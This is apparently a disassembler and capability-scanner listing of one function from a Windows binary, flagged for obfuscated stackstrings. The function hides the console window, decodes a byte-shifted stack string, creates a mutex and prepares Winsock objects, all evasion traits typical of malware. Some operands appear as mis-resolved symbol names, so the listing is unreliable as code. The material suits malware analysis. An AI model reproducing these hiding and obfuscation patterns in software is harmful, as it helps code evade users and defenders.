Function at 0x140005eb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rdx
push rdi
sub rsp, 0xc0
mov rax, qword [0x1400c2080]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov dword [r11 - 0x40], 3
xorps xmm1, xmm1
movdqu xmmword [r11 - 0x28], xmm1
lea rax, [0x140002dc0]
add rax, 0x17a
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0x17a
movaps xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call fcn.1400082a0
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
add rax, 0x286
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0x286
movaps xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
call fcn.140008e50
mov qword [rsp + 0x80], rax
xor ebx, ebx
mov dword [rsp + 0x30], ebx
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
add rax, 0x232
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0x232
movaps xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x90], xmm0
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x90]
call fcn.140008fc0
mov byte [rsp + 0x20], 0x66
mov byte [rsp + 0x21], 0x7a
mov byte [rsp + 0x22], 0x79
mov byte [rsp + 0x23], WSAGetLastError
mov byte [rsp + 0x24], 0x6a
mov byte [rsp + 0x25], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x26], 0x79
mov byte [rsp + 0x27], WSAGetLastError
mov byte [rsp + 0x28], 0x68
mov byte [rsp + 0x29], 0x66
mov byte [rsp + 0x2a], 0x79
mov byte [rsp + 0x2b], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x2c], 0x77
mov byte [rsp + 0x2d], bl
movzx eax, byte [rsp + 0x20]
mov ecx, ebx
movzx eax, byte [rsp + rcx + 0x20]
sub al, 5
mov byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0xd
jb 0x140005fe0
lea rax, [rsp + 0x20]
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x50], rbx
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
add rax, 0x19e
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x48], 0x19e
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea r9, [rsp + 0x90]
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x40]
call fcn.140009150
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x90], xmm1
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rbx
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400a13f0
mov rdi, rax
lea rax, vtable.obf::bool_functor_class__int___cdecl_main_int__char____ptr64__const___ptr64_::_4::_lambda_1__.0
mov qword [rdi], rax
mov qword [rsp + 0x60], rdi
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x88]
mov qword [rsp + 0x48], rax
mov ecx, Ordinal_26
call fcn.1400a13f0
mov rbx, rax
lea rax, vtable.obf::next_step_functor_class__int___cdecl_main_int__char____ptr64__const___ptr64_::_4::_lambda_2__.0
mov qword [rbx], rax
movaps xmm0, xmmword [rsp + 0x40]
movups xmmword [rbx + 8], xmm0
mov qword [rsp + 0x68], rbx
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.WS2_32.dll_htonl]
test al, al
je 0x1400060e1
test rbx, rbx
je 0x1400060e1
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rax, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [rax]
mov rax, qword [rdi]
mov edx, 1
mov rcx, rdi
call qword [rax]
nop
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400a13d0
mov rbx, qword [rsp + 0xd0]
add rsp, 0xc0
pop rdi
ret